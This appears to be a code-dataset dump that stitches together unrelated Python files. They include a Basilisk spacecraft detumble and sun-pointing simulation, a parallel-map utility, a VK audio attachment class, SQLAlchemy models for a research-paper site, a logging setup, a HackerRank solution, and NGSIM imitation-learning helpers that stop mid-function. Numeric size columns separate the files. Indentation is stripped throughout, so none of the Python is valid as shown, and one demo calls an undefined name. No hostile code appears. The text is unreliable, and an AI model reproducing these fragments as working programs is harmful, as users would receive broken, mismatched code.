inertial3DConfig = inertial3D.inertial3DConfig()
inertial3DWrap = scSim.setModelDataWrap(inertial3DConfig)
inertial3DWrap.ModelTag = "inertial3D"
scSim.AddModelToTask(fswTaskName, inertial3DWrap, inertial3DConfig)
inertial3DConfig.sigma_R0N = [0., 0., 0.] # set the desired inertial orientation
inertial3DConfig.outputDataName = "guidanceInertial3D"
# setup the attitude tracking error evaluation module
attErrorConfig = attTrackingError.attTrackingErrorConfig()
attErrorWrap = scSim.setModelDataWrap(attErrorConfig)
attErrorWrap.ModelTag = "attErrorInertial3D"
scSim.AddModelToTask(fswTaskName, attErrorWrap, attErrorConfig)
attErrorConfig.outputDataName = "attErrorInertial3DMsg"
attErrorConfig.inputRefName = inertial3DConfig.outputDataName
attErrorConfig.inputNavName = sNavObject.outputAttName
if detumble:
# setup the MRP Feedback control module
bdotControlConfig = B_DOT.B_DOTConfig()
bdotControlWrap = scSim.setModelDataWrap(bdotControlConfig)
bdotControlWrap.ModelTag = "B_DOT"
scSim.AddModelToTask(fswTaskName, bdotControlWrap, bdotControlConfig)
bdotControlConfig.inputMagMeterName = MagMeter.outputStateMessage
bdotControlConfig.vehConfigInMsgName = "vehicleConfigName"
bdotControlConfig.outputDataName = "LrRequested"
bdotControlConfig.K_detumble = 1000.0
if saturate:
bdotControlConfig.use_rw_wheels = 1
bdotControlConfig.rwParamsInMsgName = "rwa_config_data_parsed"
bdotControlConfig.inputRWSpeedsName = rwStateEffector.OutputDataString
# add module that maps the Lr control torque into the RW motor torques
rwMotorTorqueConfig = rwMotorTorque.rwMotorTorqueConfig()
rwMotorTorqueWrap = scSim.setModelDataWrap(rwMotorTorqueConfig)
rwMotorTorqueWrap.ModelTag = "rwMotorTorque"
scSim.AddModelToTask(dynTaskName, rwMotorTorqueWrap, rwMotorTorqueConfig)
# Initialize the test module msg names
if useRWVoltageIO:
rwMotorTorqueConfig.outputDataName = "rw_torque_Lr"
else:
rwMotorTorqueConfig.outputDataName = rwStateEffector.InputCmds
rwMotorTorqueConfig.inputVehControlName = bdotControlConfig.outputDataName
rwMotorTorqueConfig.rwParamsInMsgName = bdotControlConfig.rwParamsInMsgName
# Make the RW control all three body axes
controlAxes_B = [
1, 0, 0,
0, 1, 0,
0, 0, 1
]
rwMotorTorqueConfig.controlAxes_B = controlAxes_B
if useRWVoltageIO:
fswRWVoltageConfig = rwMotorVoltage.rwMotorVoltageConfig()
fswRWVoltageWrap = scSim.setModelDataWrap(fswRWVoltageConfig)
fswRWVoltageWrap.ModelTag = "rwMotorVoltage"
# Add test module to runtime call list
scSim.AddModelToTask(dynTaskName, fswRWVoltageWrap, fswRWVoltageConfig)
# Initialize the test module configuration data
fswRWVoltageConfig.torqueInMsgName = rwMotorTorqueConfig.outputDataName
fswRWVoltageConfig.rwParamsInMsgName = bdotControlConfig.rwParamsInMsgName
fswRWVoltageConfig.voltageOutMsgName = rwVoltageIO.rwVoltageInMsgName
# set module parameters
fswRWVoltageConfig.VMin = 0.0 # Volts
fswRWVoltageConfig.VMax = 5.0 # Volts
else:
bdotControlConfig.use_rw_wheels = 0
torqueRodConfig = torqueRodDynamicEffector.torqueRodDynamicEffector()
# torqueRodWrap = scSim.setModelDataWrap(torqueRodConfig)
torqueRodConfig.ModelTag = "torqueRods"
torqueRodConfig.magFieldMsgName = MagMeter.outputStateMessage
torqueRodConfig.cmdTorqueRodsMsgName = bdotControlConfig.outputDataName
torqueRodConfig.MaxDipoleMoment = 0.11 # [Am^2]
scObject.addDynamicEffector(torqueRodConfig)
scSim.AddModelToTask(dynTaskName, torqueRodConfig)
if sunpoint:
# Add Maxwell LS
sunVectorConfig = maxwellLS.maxwellLSConfig()
sunVectorWrap = scSim.setModelDataWrap(sunVectorConfig)
sunVectorWrap.ModelTag = "maxwellLS"
sunVectorConfig.cssDataInMsgName = "css_sensors_data"
sunVectorConfig.cssConfigInMsgName = "css_config_data"
sunVectorConfig.navStateOutMsgName = "css_nav_sunHeading"
sunVectorConfig.sunpointOutMsgName = "sun_direction"
sunVectorConfig.sensorUseThresh = 0.15
scSim.AddModelToTask(fswTaskName, sunVectorWrap, sunVectorConfig)
# setup the QUAT PD control module
quatControlConfig = QUAT_PD.QUAT_PDConfig()
quatControlWrap = scSim.setModelDataWrap(quatControlConfig)
quatControlWrap.ModelTag = "QUAT_PD"
scSim.AddModelToTask(fswTaskName, quatControlWrap, quatControlConfig)
quatControlConfig.inputSunName = "sun_direction"
quatControlConfig.inputAttName = sNavObject.outputAttName
quatControlConfig.inputGuidName = attErrorConfig.outputDataName
quatControlConfig.inputRatesName = ImuSensor.OutputDataMsg
quatControlConfig.vehConfigInMsgName = "vehicleConfigName"
quatControlConfig.outputDataName = "LrRequested"
quatControlConfig.rwParamsInMsgName = "rwa_config_data_parsed"
quatControlConfig.inputRWSpeedsName = rwStateEffector.OutputDataString
quatControlConfig.outputErrorName = "controlError"
quatControlConfig.K = 0.015
quatControlConfig.P = 0.01
# add module that maps the Lr control torque into the RW motor torques
rwMotorTorqueConfig = rwMotorTorque.rwMotorTorqueConfig()
rwMotorTorqueWrap = scSim.setModelDataWrap(rwMotorTorqueConfig)
rwMotorTorqueWrap.ModelTag = "rwMotorTorque"
scSim.AddModelToTask(dynTaskName, rwMotorTorqueWrap, rwMotorTorqueConfig)
# Initialize the test module msg names
if useRWVoltageIO:
rwMotorTorqueConfig.outputDataName = "rw_torque_Lr"
else:
rwMotorTorqueConfig.outputDataName = rwStateEffector.InputCmds
rwMotorTorqueConfig.inputVehControlName = quatControlConfig.outputDataName
rwMotorTorqueConfig.rwParamsInMsgName = quatControlConfig.rwParamsInMsgName
# Make the RW control all three body axes
controlAxes_B = [
1, 0, 0,
0, 1, 0,
0, 0, 1
]
rwMotorTorqueConfig.controlAxes_B = controlAxes_B
if useRWVoltageIO:
fswRWVoltageConfig = rwMotorVoltage.rwMotorVoltageConfig()
fswRWVoltageWrap = scSim.setModelDataWrap(fswRWVoltageConfig)
fswRWVoltageWrap.ModelTag = "rwMotorVoltage"
# Add test module to runtime call list
scSim.AddModelToTask(dynTaskName, fswRWVoltageWrap, fswRWVoltageConfig)
# Initialize the test module configuration data
fswRWVoltageConfig.torqueInMsgName = rwMotorTorqueConfig.outputDataName
fswRWVoltageConfig.rwParamsInMsgName = quatControlConfig.rwParamsInMsgName
fswRWVoltageConfig.voltageOutMsgName = rwVoltageIO.rwVoltageInMsgName
# set module parameters
fswRWVoltageConfig.VMin = 0.0 # Volts
fswRWVoltageConfig.VMax = 5.0 # Volts
#
# Setup data logging before the simulation is initialized
#
numDataPoints = 100000
samplingTime = simulationTime / (numDataPoints - 1)
if detumble:
# scSim.TotalSim.logThisMessage(bdotControlConfig.outputDataName, samplingTime)
# scSim.TotalSim.logThisMessage(attErrorConfig.outputDataName, samplingTime)
# scSim.TotalSim.logThisMessage(sNavObject.outputTransName, samplingTime)
# scSim.TotalSim.logThisMessage(sNavObject.outputAttName, samplingTime)
scSim.TotalSim.logThisMessage(ImuSensor.OutputDataMsg, samplingTime)
scSim.TotalSim.logThisMessage(MagMeter.outputStateMessage, samplingTime)
scSim.TotalSim.logThisMessage(bdotControlConfig.inputMagMeterName, samplingTime)
# create the FSW vehicle configuration message
vehicleConfigOut = fswMessages.VehicleConfigFswMsg()
vehicleConfigOut.ISCPntB_B = I # use the same inertia in the FSW algorithm as in the simulation
unitTestSupport.setMessage(scSim.TotalSim,
fswProcessName,
bdotControlConfig.vehConfigInMsgName,
vehicleConfigOut)
if saturate:
scSim.TotalSim.logThisMessage(bdotControlConfig.inputRWSpeedsName, samplingTime)
rwOutName = ["rw_config_0_data", "rw_config_1_data", "rw_config_2_data", "rw_config_3_data"]
for item in rwOutName:
scSim.TotalSim.logThisMessage(item, samplingTime)
if useRWVoltageIO:
scSim.TotalSim.logThisMessage(fswRWVoltageConfig.voltageOutMsgName, samplingTime)
# FSW RW configuration message
# use the same RW states in the FSW algorithm as in the simulation
fswSetupRW.clearSetup()
for key, rw in rwFactory.rwList.iteritems():
fswSetupRW.create(unitTestSupport.EigenVector3d2np(rw.gsHat_B), rw.Js, 0.2)
fswSetupRW.writeConfigMessage(bdotControlConfig.rwParamsInMsgName, scSim.TotalSim, dynProcessName)
if sunpoint:
scSim.TotalSim.logThisMessage(cssConstellation.outputConstellationMessage, samplingTime)
scSim.TotalSim.logThisMessage(sunVectorConfig.sunpointOutMsgName, samplingTime)
scSim.TotalSim.logThisMessage(attErrorConfig.outputDataName, samplingTime)
scSim.TotalSim.logThisMessage(sNavObject.outputAttName, samplingTime)
scSim.TotalSim.logThisMessage(quatControlConfig.inputRWSpeedsName, samplingTime)
scSim.TotalSim.logThisMessage(quatControlConfig.outputErrorName, samplingTime)
scSim.TotalSim.logThisMessage(attErrorConfig.outputDataName, samplingTime)
rwOutName = ["rw_config_0_data", "rw_config_1_data", "rw_config_2_data", "rw_config_3_data"]
for item in rwOutName:
scSim.TotalSim.logThisMessage(item, samplingTime)
if useRWVoltageIO:
scSim.TotalSim.logThisMessage(fswRWVoltageConfig.voltageOutMsgName, samplingTime)
# create the FSW vehicle configuration message
vehicleConfigOut = fswMessages.VehicleConfigFswMsg()
vehicleConfigOut.ISCPntB_B = I # use the same inertia in the FSW algorithm as in the simulation
unitTestSupport.setMessage(scSim.TotalSim,
fswProcessName,
quatControlConfig.vehConfigInMsgName,
vehicleConfigOut)
# FSW RW configuration message
# use the same RW states in the FSW algorithm as in the simulation
fswSetupRW.clearSetup()
for key, rw in rwFactory.rwList.iteritems():
fswSetupRW.create(unitTestSupport.EigenVector3d2np(rw.gsHat_B), rw.Js, 0.2)
fswSetupRW.writeConfigMessage(quatControlConfig.rwParamsInMsgName, scSim.TotalSim, dynProcessName)
#
# initialize Simulation
#
scSim.InitializeSimulationAndDiscover()
# this next call ensures that the FSW and Dynamics Message that have the same
# name are copied over every time the simulation ticks forward. This function
# has to be called after the simulation is initialized to ensure that all modules
# have created their own output/input messages declarations.
# dyn2FSWInterface.discoverAllMessages()
# fsw2DynInterface.discoverAllMessages()
#
# configure a simulation stop time time and execute the simulation run
#
scSim.ConfigureStopTime(simulationTime)
scSim.ExecuteSimulation()
#
# retrieve the logged data
#
if detumble:
# dataLr = scSim.pullMessageLogData(bdotControlConfig.outputDataName + ".torqueRequestBody", range(3))
# dataPos = scSim.pullMessageLogData(sNavObject.outputTransName + ".r_BN_N", range(3))
dataOmegaIMU = scSim.pullMessageLogData(ImuSensor.OutputDataMsg + ".AngVelPlatform", range(3))
dataMagBody = scSim.pullMessageLogData(bdotControlConfig.inputMagMeterName + ".mag_bf", range(3))
dataMagLVLH = scSim.pullMessageLogData(bdotControlConfig.inputMagMeterName + ".mag_hill", range(3))
if saturate:
dataOmegaRW = scSim.pullMessageLogData(bdotControlConfig.inputRWSpeedsName + ".wheelSpeeds", range(numRW))
np.set_printoptions(precision=16)
if sunpoint:
dataCSSArray = scSim.pullMessageLogData(cssConstellation.outputConstellationMessage + ".CosValue",
range(len(CSSOrientationList)))
dataSunVector = scSim.pullMessageLogData(sunVectorConfig.sunpointOutMsgName + ".q_des_RN", range(4))
dataOmegaRW = scSim.pullMessageLogData(quatControlConfig.inputRWSpeedsName + ".wheelSpeeds", range(numRW))
dataSigmaBN = scSim.pullMessageLogData(sNavObject.outputAttName + ".sigma_BN", range(3))
dataOmegaBN = scSim.pullMessageLogData(sNavObject.outputAttName + ".omega_BN_B", range(3))
dataSigmaBR = scSim.pullMessageLogData(attErrorConfig.outputDataName + ".sigma_BR", range(3))
#
# plot the results
#
fileName = os.path.basename(os.path.splitext(__file__)[0])
plt.close("all") # clears out plots from earlier test runs
if detumble:
plt.figure(1)
for idx in range(1, 4):
plt.plot(dataOmegaIMU[:, 0] * macros.NANO2MIN, dataOmegaIMU[:, idx] * macros.R2D,
color=unitTestSupport.getLineColor(idx, 3),
label='$\omega_' + str(idx) + '$')
plt.title('Detumbling Simulation Angular Rates', fontsize=16, fontweight='bold')
plt.legend(loc='upper right', fontsize=16)
plt.xlabel('Time (min)', fontsize=16)
plt.ylabel('Angular Rates (deg/s)', fontsize=16)
# # Mag Meter Body
# plt.figure(6)
# plt.plot(dataMagBody[:, 0] * macros.NANO2HOUR, dataMagBody[:, 1],
# color='blue',
# label='x')
# plt.plot(dataMagBody[:, 0] * macros.NANO2HOUR, dataMagBody[:, 2],
# color='red',
# label='y')
# plt.plot(dataMagBody[:, 0] * macros.NANO2HOUR, dataMagBody[:, 3],
# color='black',
# label='z')
# plt.grid(True)
# plt.legend(loc='upper right', fontsize=16)
# plt.title('Magnetic Field - Body Frame', fontsize=16)
# plt.xlabel('Time (h)', fontsize=16)
# plt.ylabel('Magnetic Field Magnitude (T)', fontsize=16)
# # Mag Meter LVLH
# plt.figure(7)
# plt.plot(dataMagLVLH[:, 0] * macros.NANO2HOUR, dataMagLVLH[:, 1],
# color='blue',
# label='$i_r$')
# plt.plot(dataMagLVLH[:, 0] * macros.NANO2HOUR, dataMagLVLH[:, 2],
# color='red',
# label='$i_{\\theta}$')
# plt.plot(dataMagLVLH[:, 0] * macros.NANO2HOUR, dataMagLVLH[:, 3],
# color='black',
# label='$i_h$')
# plt.grid(True)
# plt.legend(loc='upper right', fontsize=16)
# plt.title('Basilisk (Simple Tilted Dipole) - 90 degree inclination', fontsize=16)
# plt.xlabel('Time (h)', fontsize=16)
# plt.ylabel('Magnetic Field Magnitude (T)', fontsize=16)
if saturate:
plt.figure(2)
for idx in range(1, numRW + 1):
plt.plot(dataOmegaRW[:, 0] * macros.NANO2MIN, dataOmegaRW[:, idx] / macros.RPM,
color=unitTestSupport.getLineColor(idx, numRW),
label='$\Omega_{' + str(idx) + '}$')
plt.title('Reaction Wheel Spin Rates', fontsize=16, fontweight='bold')
plt.legend(loc='upper right', fontsize=16)
plt.xlabel('Time (min)', fontsize=16)
plt.ylabel('RW Speed [RPM]', fontsize=16)
if sunpoint:
# CSS Sensor Readings
plt.figure(1)
for idx in range(1, 15): # range(1,len(CSSList)+1) currently hardcoded. Remove when initialization block
plt.plot(dataCSSArray[:, 0] * macros.NANO2SEC, dataCSSArray[:, idx],
# color=unitTestSupport.getLineColor(idx,2),
label='CSS$_{' + str(idx) + '}$')
plt.title('CSS raw sensor readings', fontsize=12, fontweight='bold')
plt.xlabel('Time [sec]', fontsize=10, fontweight='bold')
plt.legend(fontsize=10)
plt.ylabel("CSS Voltage", fontsize=10, fontweight='bold')
# plt.figure(2)
# for idx in range(1, 5):
# plt.plot(dataSunVector[:, 0] * macros.NANO2SEC, dataSunVector[:, idx],
# color=unitTestSupport.getLineColor(idx, 4),
# label='$\\beta_{' + str(idx) + '}$')
# plt.legend(loc='lower right')
# plt.title('Sun Vector Estimation Quaternion')
# plt.xlabel('Time [sec]')
# plt.ylabel('Quaternion $\\beta_{B/R}$')
plt.figure(7)
for idx in range(1, 4):
plt.plot(dataSigmaBR[:, 0] * macros.NANO2SEC, dataSigmaBR[:, idx],
color=unitTestSupport.getLineColor(idx, 3),
label='$\sigma_' + str(idx) + '$')
plt.title('Control Error', fontsize=16, fontweight='bold')
plt.legend(loc='upper right', fontsize=16)
plt.xlabel('Time (s)', fontsize=16)
plt.ylabel('$\sigma_{B/R}$', fontsize=16)
plt.figure(4)
for idx in range(1, numRW + 1):
plt.plot(dataOmegaRW[:, 0] * macros.NANO2SEC, dataOmegaRW[:, idx] / macros.RPM,
color=unitTestSupport.getLineColor(idx, numRW),
label='$\Omega_{' + str(idx) + '}$')
plt.legend(loc='lower right')
plt.xlabel('Time [sec]')
plt.ylabel('RW Speed (RPM) ')
# plt.figure(5)
# for idx in range(1,4):
# plt.plot(dataSigmaBN[:, 0] * macros.NANO2SEC, dataSigmaBN[:, idx],
# color=unitTestSupport.getLineColor(idx, 3),
# label='$\sigma_' + str(idx) + '$')
# plt.legend(loc='lower right')
# plt.xlabel('Time [min]')
# plt.ylabel('Inertial Attitude $\sigma_{B/N}$')
plt.figure(6)
for idx in range(1,4):
plt.plot(dataOmegaBN[:, 0] * macros.NANO2SEC, dataOmegaBN[:, idx] * macros.R2D,
color=unitTestSupport.getLineColor(idx, 3),
label='$\omega_' + str(idx) + '$')
plt.legend(loc='lower right')
plt.xlabel('Time [sec]')
plt.ylabel('Angular Rates')
if show_plots:
plt.show()
# close the plots being saved off to avoid over-writing old and new figures
plt.close("all")
return numDataPoints
#
# This statement below ensures that the unit test scrip can be run as a
# stand-along python script
#
if __name__ == "__main__":
run(
True, # show_plots
False, # detumble
False, # saturate
True, # sunpoint
False, # useUnmodeledTorque
False, # useJitterSimple
False, # useRWVoltageIO
)
| 33,150 | 11,565 |
from multiprocessing import Pool
from multiprocessing.pool import ThreadPool
from queue import Queue
from .chunks import chunks
__all__ = 'map_parallel', 'map_multicore', 'map_multithread'
def _pool_map_stream(pool_type, pipe, fn, workers):
assert callable(fn), fn
assert isinstance(workers, int), workers
assert workers > 0, workers
p = pool_type(workers)
job_q = Queue(maxsize=int(workers*2))
try:
for chunk in chunks(pipe, workers*2):
for i in chunk:
job_q.put(p.apply_async(fn, [i]))
for i in pipe:
yield job_q.get().get()
job_q.put(p.apply_async(fn, [i]))
while not job_q.empty():
yield job_q.get().get()
finally:
p.terminate()
def map_multicore(pipe, fn, workers):
''' This streams map operations through a Pool without needing to load
the entire stream into a massive list first, like Pool.map normally
requires.
'''
assert callable(fn), fn
assert isinstance(workers, int), workers
assert workers > 0, workers
pipe = iter(pipe)
return _pool_map_stream(Pool, **locals())
def map_multithread(pipe, fn, workers):
''' This streams map operations through a ThreadPool without needing to
load the entire stream into a massive list first, like ThreadPool.map
normally requires.
'''
assert callable(fn), fn
assert isinstance(workers, int), workers
assert workers > 0, workers
pipe = iter(pipe)
return _pool_map_stream(ThreadPool, **locals())
def map_parallel(pipe, fn, workers):
''' This streams map operations in parallel through a pool of processes or
threads. If the os does not allow multiprocessing or the datatypes are
not serializable, operation reverts to ThreadPools
'''
assert callable(fn), fn
assert isinstance(workers, int), workers
assert workers > 0, workers
pipe = iter(pipe)
try:
for i in map_multicore(pipe, fn, workers):
yield i
except:
for i in map_multithread(pipe, fn, workers):
yield i
if __name__ == '__main__':
import random, time
def work(i):
print('working on: {}'.format(i))
time.sleep(random.random())
print('finished: {}'.format(i))
return i*2
l = G(
range(10)
).map(
float
).map_parallel(
work,
5
).print().run()
| 2,458 | 731 |
from apps.bot.classes.messages.attachments.Attachment import Attachment
class AudioAttachment(Attachment):
TYPE = "audio"
def __init__(self):
super().__init__(self.TYPE)
self.duration = None
def parse_vk_audio(self, event_audio):
from petrovich.settings import VK_URL
self.url = f"{VK_URL}video{event_audio['owner_id']}_{event_audio['id']}"
self.private_download_url = event_audio['url']
self.duration = event_audio['duration']
| 492 | 155 |
""" SQLAlchemy database models. """
from datetime import datetime
from depot.fields.sqlalchemy import UploadedFileField
from app import db
from app.util.data import many_to_many, foreign_key
from app.config import TOKEN_LEN
class User(db.Model):
""" User model class. """
id = db.Column(db.Integer(), primary_key=True, autoincrement=True)
username = db.Column(db.String(32), unique=True)
email = db.Column(db.String(64), unique=True)
password = db.Column(db.Binary(32))
join_date = db.Column(db.DateTime(), default=datetime.now)
active = db.Column(db.Boolean(), default=False)
avatar = db.Column(UploadedFileField())
self_introduction = db.Column(db.Text(), unique=True)
contribution = db.Column(db.Integer(), default=0)
job = db.Column(db.String(64), unique=True)
class Session(db.Model):
""" API session class. """
token = db.Column(db.Binary(TOKEN_LEN), primary_key=True)
user, user_id = foreign_key("User", backref_name="sessions")
class AbstractBaseGroup(object):
""" Abstract base group class. """
pass
class Group(db.Model, AbstractBaseGroup):
""" Group model class. """
id = db.Column(db.Integer(), primary_key=True, autoincrement=True)
name = db.Column(db.String(32), unique=True)
users = many_to_many("Group", "User", backref_name="groups")
introduction = db.Column(db.Text())
class Paper(db.Model):
""" Paper model class. """
id = db.Column(db.Integer(), primary_key=True, autoincrement=True)
title = db.Column(db.String(256), unique=False)
abstract = db.Column(db.Text(), unique=False)
authors = db.Column(db.String(256), unique=False)
conference = db.Column(db.String(128), unique=False)
publish_date = db.Column(db.DateTime(), default=datetime.now) # Accurate to the day
owners = many_to_many("Paper", "User", backref_name="papers")
owngroup = many_to_many("Paper", "Group", backref_name="papers")
collectors = many_to_many("Paper", "User", backref_name="collect_papers")
paper_file = db.Column(UploadedFileField())
class Note(db.Model):
""" User model class. """
id = db.Column(db.Integer(), primary_key=True, autoincrement=True)
title = db.Column(db.String(256), unique=False)
create_time = db.Column(db.DateTime(), default=datetime.now)
last_modified = db.Column(db.DateTime(), default=datetime.now)
author, author_id = foreign_key("User", backref_name="notes")
paper, paper_id = foreign_key("Paper", backref_name="notes")
collectors = many_to_many("Note", "User", backref_name="collect_notes")
owngroup = many_to_many("Note", "Group", backref_name="notes")
content = db.Column(db.Text(), unique=False)
annotation_file = db.Column(UploadedFileField())
class Question(db.Model):
id = db.Column(db.Integer(), primary_key=True, autoincrement=True)
provider, provider_id = foreign_key("User", backref_name="questions_asked")
titie = db.Column(db.String(256), unique=False)
description = db.Column(db.Text(), unique=False)
upvotes = many_to_many("Question", "User", backref_name="questions_upvote")
downvotes = many_to_many("Question", "User", backref_name="questions_downvote")
create_time = db.Column(db.DateTime(), default=datetime.now)
last_modified = db.Column(db.DateTime(), default=datetime.now)
class Reply(db.Model):
id = db.Column(db.Integer(), primary_key=True, autoincrement=True)
provider, provider_id = foreign_key("User", backref_name="replies")
host_question, q_id = foreign_key("Question", backref_name="replies")
content = db.Column(db.Text())
upvotes = many_to_many("Reply", "User", backref_name="replies_upvote")
downvotes = many_to_many("Reply", "User", backref_name="replies_downvote")
create_time = db.Column(db.DateTime(), default=datetime.now)
last_modified = db.Column(db.DateTime(), default=datetime.now)
class Comment(db.Model):
id = db.Column(db.Integer(), primary_key=True, autoincrement=True)
provider, provider_id = foreign_key("User", backref_name="comments")
host_question, q_id = foreign_key("Question", backref_name="comments")
host_reply, r_id = foreign_key("Reply", backref_name="comments")
content = db.Column(db.Text(), unique=False)
create_time = db.Column(db.DateTime(), default=datetime.now)
last_modified = db.Column(db.DateTime(), default=datetime.now)
| 4,384 | 1,442 |
import logging
## Logging Configuration ##
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
ch = logging.StreamHandler() # console handler
ch.setLevel(logging.INFO)
fh = logging.FileHandler('logfile.txt')
fh.setLevel(logging.INFO)
fmtr = logging.Formatter('%(asctime)s | [%(levelname)s] | (%(name)s) | %(message)s')
fh.setFormatter(fmtr)
logger.addHandler(fh)
logger.addHandler(ch) #disable this to stop console output. This better than print statements as you can disable all console output in 1 spot instead of every print statement.
logger.critical(f'testing a critical message from {__name__}') | 623 | 198 |
#!/bin/python3
import os
def getTotalX(a, b):
c = 0
for i in range(max(a), min(b) + 1):
if all([i % d == 0 for d in a]) and all([d % i == 0 for d in b]):
c += 1
return c
if __name__ == "__main__":
f = open(os.environ["OUTPUT_PATH"], "w")
nm = input().split()
n = int(nm[0])
m = int(nm[1])
a = list(map(int, input().rstrip().split()))
b = list(map(int, input().rstrip().split()))
total = getTotalX(a, b)
f.write(str(total) + "\n")
f.close()
| 552 | 251 |
import h5py
import numpy as np
import os, pdb
import tensorflow as tf
from rllab.envs.base import EnvSpec
from rllab.envs.normalized_env import normalize as normalize_env
import rllab.misc.logger as logger
from sandbox.rocky.tf.algos.trpo import TRPO
from sandbox.rocky.tf.policies.gaussian_mlp_policy import GaussianMLPPolicy
from sandbox.rocky.tf.policies.gaussian_gru_policy import GaussianGRUPolicy
from sandbox.rocky.tf.envs.base import TfEnv
from sandbox.rocky.tf.spaces.discrete import Discrete
from hgail.algos.hgail_impl import Level
from hgail.baselines.gaussian_mlp_baseline import GaussianMLPBaseline
from hgail.critic.critic import WassersteinCritic
from hgail.envs.spec_wrapper_env import SpecWrapperEnv
from hgail.envs.vectorized_normalized_env import vectorized_normalized_env
from hgail.misc.datasets import CriticDataset, RecognitionDataset
from hgail.policies.categorical_latent_sampler import CategoricalLatentSampler
from hgail.policies.gaussian_latent_var_gru_policy import GaussianLatentVarGRUPolicy
from hgail.policies.gaussian_latent_var_mlp_policy import GaussianLatentVarMLPPolicy
from hgail.policies.latent_sampler import UniformlyRandomLatentSampler
from hgail.core.models import ObservationActionMLP
from hgail.policies.scheduling import ConstantIntervalScheduler
from hgail.recognition.recognition_model import RecognitionModel
from hgail.samplers.hierarchy_sampler import HierarchySampler
import hgail.misc.utils
from julia_env.julia_env import JuliaEnv
'''
Const
NGSIM_FILENAME_TO_ID = {
'trajdata_i101_trajectories-0750am-0805am.txt': 1,
'trajdata_i101_trajectories-0805am-0820am.txt': 2,
'trajdata_i101_trajectories-0820am-0835am.txt': 3,
'trajdata_i80_trajectories-0400-0415.txt': 4,
'trajdata_i80_trajectories-0500-0515.txt': 5,
'trajdata_i80_trajectories-0515-0530.txt': 6
}'''
NGSIM_FILENAME_TO_ID = {
'trajdata_i101_trajectories-0750am-0805am.txt': 1,
'trajdata_i101-22agents-0750am-0805am.txt' : 1
}
'''
Common
'''
def maybe_mkdir(dirpath):
if not os.path.exists(dirpath):
os.mkdir(dirpath)
def partition_list(lst, n):
sublists = [[] for _ in range(n)]
for i, v in enumerate(lst):
sublists[i % n].append(v)
return sublists
def str2bool(v):
if v.lower() == 'true':
return True
return False
def write_trajectories(filepath, trajs):
np.savez(filepath, trajs=trajs)
def load_trajectories(filepath):
return np.load(filepath)['trajs']
def filename2label(fn):
s = fn.find('-') + 1
e = fn.rfind('_')
return fn[s:e]
def load_trajs_labels(directory, files_to_use=[0,1,2,3,4,5]):
filenames = [
'trajdata_i101_trajectories-0750am-0805am_trajectories.npz',
'trajdata_i101_trajectories-0805am-0820am_trajectories.npz',
'trajdata_i101_trajectories-0820am-0835am_trajectories.npz',
'trajdata_i80_trajectories-0400-0415_trajectories.npz',
'trajdata_i80_trajectories-0500-0515_trajectories.npz',
'trajdata_i80_trajectories-0515-0530_trajectories.npz'
]
filenames = [filenames[i] for i in files_to_use]
labels = [filename2label(fn) for fn in filenames]
filepaths = [os.path.join(directory, fn) for fn in filenames]
trajs = [load_trajectories(fp) for fp in filepaths]
return trajs, labels
'''
Component build functions
'''
'''
This is about as hacky as it gets, but I want to avoid editing the rllab
source code as much as possible, so it will have to do for now.
Add a reset(self, kwargs**) function to the normalizing environment
https://stackoverflow.com/questions/972/adding-a-method-to-an-existing-object-instance
'''
def normalize_env_reset_with_kwargs(self, **kwargs):
ret = self._wrapped_env.reset(**kwargs)
if self._normalize_obs:
return self._apply_normalize_obs(ret)
else:
return ret
def add_kwargs_to_reset(env):
normalize_env = hgail.misc.utils.extract_normalizing_env(env)
if normalize_env is not None:
normalize_env.reset = normalize_env_reset_with_kwargs.__get__(normalize_env)
'''end of hack, back to our regularly scheduled programming'''
# Raunak adding an input argument for multiagent video making
def build_ngsim_env(
args,
exp_dir='/tmp',
alpha=0.001,
vectorize=True,
render_params=None,
videoMaking=False):
basedir = os.path.expanduser('~/.julia/v0.6/NGSIM/data')
filepaths = [os.path.join(basedir, args.ngsim_filename)]
if render_params is None:
render_params = dict(
viz_dir=os.path.join(exp_dir, 'imitate/viz'),
zoom=5.
)
env_params = dict(
trajectory_filepaths=filepaths,
H=args.env_H,
primesteps=args.env_primesteps,
action_repeat=args.env_action_repeat,
terminate_on_collision=False,
terminate_on_off_road=False,
render_params=render_params,
n_envs=args.n_envs,
n_veh=args.n_envs,
remove_ngsim_veh=args.remove_ngsim_veh,
reward=args.env_reward
)
# order matters here because multiagent is a subset of vectorized
# i.e., if you want to run with multiagent = true, then vectorize must
# also be true
if args.env_multiagent:
env_id = 'MultiagentNGSIMEnv'
if videoMaking:
print('RAUNAK BHATTACHARRYA VIDEO MAKER IS ON')
env_id='MultiagentNGSIMEnvVideoMaker'
alpha = alpha * args.n_envs
normalize_wrapper = vectorized_normalized_env
elif vectorize:
env_id = 'VectorizedNGSIMEnv'
alpha = alpha * args.n_envs
normalize_wrapper = vectorized_normalized_env
else:
env_id = 'NGSIMEnv'
normalize_wrapper = normalize_env
print(env_params)
env = JuliaEnv(
env_id=env_id,
env_params=env_params,
using='AutoEnvs'
)
# get low and high values for normalizing _real_ actions
low, high = env.action_space.low, env.action_space.high
env = TfEnv(normalize_wrapper(env, normalize_obs=True, obs_alpha=alpha))
add_kwargs_to_reset(env)
return env, low, high
def build_critic(args, data, env, writer=None):
if args.use_critic_replay_memory:
critic_replay_memory = hgail.misc.utils.KeyValueReplayMemory(maxsize=3 * args.batch_size)
else:
critic_replay_memory = None
critic_dataset = CriticDataset(
data,
replay_memory=critic_replay_memory,
batch_size=args.critic_batch_size,
flat_recurrent=args.policy_recurrent
)
critic_network = ObservationActionMLP(
name='critic',
hidden_layer_dims=args.critic_hidden_layer_dims,
dropout_keep_prob=args.critic_dropout_keep_prob
)
critic = WassersteinCritic(
obs_dim=env.observation_space.flat_dim,
act_dim=env.action_space.flat_dim,
dataset=critic_dataset,
network=critic_network,
gradient_penalty=args.gradient_penalty,
optimizer=tf.train.RMSPropOptimizer(args.critic_learning_rate),
n_train_epochs=args.n_critic_train_epochs,
summary_writer=writer,
grad_norm_rescale=args.critic_grad_rescale,
verbose=2,
debug_nan=True
)
return critic
def build_policy(args, env, latent_sampler=None):
if args.use_infogail:
if latent_sampler is None:
latent_sampler = UniformlyRandomLatentSampler(
scheduler=ConstantIntervalScheduler(k=args.scheduler_k),
name='latent_sampler',
dim=args.latent_dim
)
if args.policy_recurrent:
policy = GaussianLatentVarGRUPolicy(
name="policy",
latent_sampler=latent_sampler,
env_spec=env.spec,
hidden_dim=args.recurrent_hidden_dim,
)
else:
print("GaussianLatentVarMLPPolicy")
policy = GaussianLatentVarMLPPolicy(
name="policy",
latent_sampler=latent_sampler,
env_spec=env.spec,
